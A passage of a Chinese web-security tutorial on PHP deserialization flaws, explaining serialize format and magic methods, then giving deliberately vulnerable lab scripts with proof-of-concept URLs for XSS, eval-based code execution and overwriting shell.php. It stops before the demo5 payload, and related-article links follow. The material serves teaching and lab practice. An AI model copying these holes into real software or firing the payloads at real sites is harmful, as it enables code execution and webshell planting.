WEB常见漏洞之反序列化(靶场篇)2

简介: WEB常见漏洞之反序列化(靶场篇)

4.PHP反序列化漏洞实验

PHP中通常使用serialize函数进行序列化,使用unserialize函数进行反序列化。serialize函数输出格式

NULL被序列化为:N
Boolean型数据序列化为:b:1,b:0,分别代表True和False
Integer型数据序列化为:i:数值
String型数据序列化为:s:长度:"值"
对象序列化为:O:类名长度:类名:字段数:字段

输出的数字基本都是代表长度,在构造Payload时需要注意修改长度。PHP中常用魔术方法

__construct:当对象被创建时调用
__destruct:当对象被销毁前调用
__sleep:执行serialize函数前调用
__wakeup:执行unserialize函数前调用
__call:在对象中调用不可访问的方法时调用
__callStatic:用静态方法调用不可访问方法时调用
__get:获得类成因变量时调用
__set:设置类成员变量时调用

demo1.php

<?php
    $a="test"; //字符串
    $arr = array('j' => 'jack' ,'r' => 'rose'); //数组
    class A{
        public $test="yeah";
    }
    echo "序列化:";
    echo "</br>";
    $aa=serialize($a);
    print_r($aa);
    echo "</br>";
    $arr_a=serialize($arr);
    print_r($arr_a);
    echo "</br>";
    $class1 = new A(); //对象
    $class_a=serialize($class1);
    print_r($class_a);
    echo "<br/>";
    echo "反序列化:";
    echo "<br/>";
    print_r(unserialize($aa));
    echo "</br>";
    print_r(unserialize($arr_a));
    echo "</br>";
    print_r(unserialize($class_a));
?>

如果说反序列化可能带来安全问题,那么一定是序列化构造了危险代码,当进行反序列化相当于解码操作的时候自动执行了。我们本地测试下,当尝试序列化一段xss代码的时候,当它进行反序列化的时候会自动执行xss:

代码:

<?php
    $a="test"; //字符串
    $arr = array('j' => 'jack' ,'r' => 'rose'); //数组
    class A{
        public $test="<img src=1 onerror=alert(1)>";
    }
    echo "序列化:";
    echo "</br>";
    $aa=serialize($a);
    print_r($aa);
    echo "</br>";
    $arr_a=serialize($arr);
    print_r($arr_a);
    echo "</br>";
    $class1 = new A(); //对象
    $class_a=serialize($class1);
    print_r($class_a);
    echo "<br/>";
    echo "反序列化:";
    echo "<br/>";
    print_r(unserialize($aa));
    echo "</br>";
    print_r(unserialize($arr_a));
    echo "</br>";
    print_r(unserialize($class_a));
?>

我们可以尝试本地修改需要被序列化的字符串/数组/对象。通过上面的小demo我们简单的了解了反序列化导致的一些安全问题。下面是对它的深入理解:首先解释下demo1序列化后的含义:$a="test"; 序列化后的结果是:s:4:"test";含义:s =string类型 4代表字符串长度,"test"代表字符串内容$arr = array('j' => 'jack' ,'r' => 'rose');序列化后的结果是:a:2:{s:1:"j";s:4:"jack";s:1:"r";s:4:"rose";}含义:a代表array数组类型,2代表数组长度2个,s代表string,4代表字符串长度,jack是字符串内容,依此类推。class A{public $test="yeah"}创建对象后,序列化后的结果是:O:1:"A":1:{s:4:"test";s:4:"yeah";}含义:O表示存储的对象(object类型),1代表对象名称有1个字符,就是A,A是对象名称,1表示有一个值,s代表string类型,4代表字符串长度,test代表字符串名称,依此类推。我感觉我写的很详细了,下面来点案例说明反序列化漏洞吧:魔术方法,php有一些魔术方法,参考:https://secure.php.net/manual/zh/language.oop5.magic.php划重点,简单讲解下对反序列化有用的魔法函数,详细了解查看手册:__construct 构造函数,创建对象时自动调用__wakeup 使用unserialse()函数时会自动调用__destruct 当对象被销毁时自动调用 (php绝大多数情况下会自动调用销毁对象)写一段存在安全问题的demo:那么我用__wakeup演示下,__destruct也可以,因为__destruct 会被自动调用demo2.php

<?php
class A{
    var $test = "demo";
    function __wakeup(){
            echo $this->test;
    }
}
$a = $_GET['test'];
$a_unser = unserialize($a);
?>

发现反序列化可控序列化代码,并且一旦反序列化会走魔法方法__wakeup并且输出test构造序列化poc:

    $b = new A();
    $c = serialize($b);
    echo $c;

    输出:O:1:"A":1:{s:4:"test";s:4:"demo";}

    demo是$test变量,尝试修改$test的值是<img src=1 onerror=alert(1)>

    注意前面的长度:


    构造poc: http://127.0.0.1/demo2.php?test=O:1:"A":1:{s:4:"test";s:28:"<img src=1 onerror=alert(1)>";}

    直接导致xss攻击。如果__wakeup中不是echo $this->test; ,是eval(*)那么就是任意代码执行危害巨大!我们来尝试修改echo改成eval这种php执行代码函数:

    <?php
    class A{
        var $test = "demo";
        function __wakeup(){
               eval($this->test);
        }
    }
    $b = new A();
    $c = serialize($b);
    echo $c;
    $a = $_GET['test'];
    $a_unser = unserialize($a);
    ?>
    直接构造poc:
    http://127.0.0.1/demo2.php?test=O:1:"A":1:{s:4:"test";s:10:"phpinfo();";

    使用pyhhon判断长度很方便

    如果把10改成11就不能正常执行:

    序列化要一一匹配。关于文件操作结合反序列化导致的安全问题:网站根目录存在shell.phpdemo3.php

    <?php
    //为显示效果,把这个shell.php包含进来
    require "shell.php";
    class A{
        var $test = '123';
        function __wakeup(){
            $fp = fopen("shell.php","w") ;
            fwrite($fp,$this->test);
            fclose($fp);
        }
    }
    $a= new A();
    print_r(serialize($a));
    $class1 = $_GET['test'];
    print_r($class1);
    echo "</br>";
    $class1_unser = unserialize($class1);
    ?>

    构造poc:


    http://172.16.6.231/fanxulie/demo3.php?test=O:1:"A":1:{s:4:"test";s:18:"<?php phpinfo();?>";}

    测试发现当使用unserialize()的时候会自动调用魔术方法__wakeup或__destruct,所以往往安全问题都在__wakeup和__destruct魔术方法中。那么__construct()构造方法就没利用价值吗?非也,非也。如果__wekeup创建了对象,那么就会自动调用__construct(),演示例子:demo4.php

    <?php
    require "shell.php";
    class B{
        function __construct($test){
            $fp = fopen("shell.php","w") ;
            fwrite($fp,$test);
            fclose($fp);
        }
    }
    class A{
        var $test = '123';
        function __wakeup(){
            $obj = new B($this->test);
        }
    }
    $class1 = $_GET['test'];
    echo "</br>";
    $class1_unser = unserialize($class1);
    ?>

      构造poc:http://172.16.6.231/fanxulie/demo4.php?test=O:1:"A":1:{s:4:"test";s:18:"<?php phpinfo();?>";}

      首先unserialize()会自动调用__wakeup(),__wakeup中创建了对象,从而自动调用了__construct(),会执行__construct()内的操作。利用普通成员方法的反序列化漏洞研究:上面讲的都是基于魔术方法下的敏感操作导致的反序列化导致的安全问题。但是当漏洞/危险代码存在在类的普通方法中,该如何利用呢?demo5.php

      <?php
          class maniac{
              public $test;
              function __construct(){
                  $this->test =new x1();
              }
              function __destruct(){
                  $this->test->action();
              }
          }
      class x1{
          function action(){
              echo "x1";
          }
      }
      class x2{
          public $test2;
          function action(){
              eval($this->test2);
          }
      }
      $class2  = new maniac();
      unserialize($_GET['test']);
      ?>

      我们发现类的普通方法调用eval函数,这个函数很危险,如果可控就可能造成代码执行。通过代码发现$_GET['test']可控,因为使用unserialize()会自动调用__destruct(),所以他会先调用action()函数,然后会走到x1类和x2类,而安全问题在x2类中,构造如下序列化代码:

      目录
      相关文章
      |
      1月前
      |
      缓存 移动开发 安全
      Web安全-HTTP响应拆分(CRLF注入)漏洞
      Web安全-HTTP响应拆分(CRLF注入)漏洞
      104 1
      |
      2月前
      |
      安全 关系型数据库 MySQL
      Web安全-条件竞争漏洞
      Web安全-条件竞争漏洞
      50 0
      |
      1月前
      |
      SQL
      Web for Pentester SQL sql注入靶场
      Web for Pentester SQL sql注入靶场
      |
      2月前
      |
      缓存 移动开发 安全
      Web安全-HTTP响应拆分(CRLF注入)漏洞
      Web安全-HTTP响应拆分(CRLF注入)漏洞
      159 8
      |
      2月前
      |
      安全 关系型数据库 Shell
      Web安全-浅析CSV注入漏洞的原理及利用
      Web安全-浅析CSV注入漏洞的原理及利用
      146 3
      |
      2月前
      |
      安全 应用服务中间件 开发工具
      Web安全-SVN信息泄露漏洞分析
      Web安全-SVN信息泄露漏洞分析
      204 2
      |
      2月前
      |
      JSON 安全 JavaScript
      Web安全-JQuery框架XSS漏洞浅析
      Web安全-JQuery框架XSS漏洞浅析
      439 2
      |
      1月前
      |
      XML JSON API
      ServiceStack:不仅仅是一个高性能Web API和微服务框架,更是一站式解决方案——深入解析其多协议支持及简便开发流程,带您体验前所未有的.NET开发效率革命
      【10月更文挑战第9天】ServiceStack 是一个高性能的 Web API 和微服务框架,支持 JSON、XML、CSV 等多种数据格式。它简化了 .NET 应用的开发流程,提供了直观的 RESTful 服务构建方式。ServiceStack 支持高并发请求和复杂业务逻辑,安装简单,通过 NuGet 包管理器即可快速集成。示例代码展示了如何创建一个返回当前日期的简单服务,包括定义请求和响应 DTO、实现服务逻辑、配置路由和宿主。ServiceStack 还支持 WebSocket、SignalR 等实时通信协议,具备自动验证、自动过滤器等丰富功能,适合快速搭建高性能、可扩展的服务端应用。
      113 3
      |
      23天前
      |
      设计模式 前端开发 数据库
      Python Web开发:Django框架下的全栈开发实战
      【10月更文挑战第27天】本文介绍了Django框架在Python Web开发中的应用,涵盖了Django与Flask等框架的比较、项目结构、模型、视图、模板和URL配置等内容,并展示了实际代码示例,帮助读者快速掌握Django全栈开发的核心技术。
      124 45
      |
      4天前
      |
      开发框架 JavaScript 前端开发
      TypeScript 是一种静态类型的编程语言,它扩展了 JavaScript,为 Web 开发带来了强大的类型系统、组件化开发支持、与主流框架的无缝集成、大型项目管理能力和提升开发体验等多方面优势
      TypeScript 是一种静态类型的编程语言,它扩展了 JavaScript,为 Web 开发带来了强大的类型系统、组件化开发支持、与主流框架的无缝集成、大型项目管理能力和提升开发体验等多方面优势。通过明确的类型定义,TypeScript 能够在编码阶段发现潜在错误,提高代码质量;支持组件的清晰定义与复用,增强代码的可维护性;与 React、Vue 等框架结合,提供更佳的开发体验;适用于大型项目,优化代码结构和性能。随着 Web 技术的发展,TypeScript 的应用前景广阔,将继续引领 Web 开发的新趋势。
      18 2
      下一篇
      无影云桌面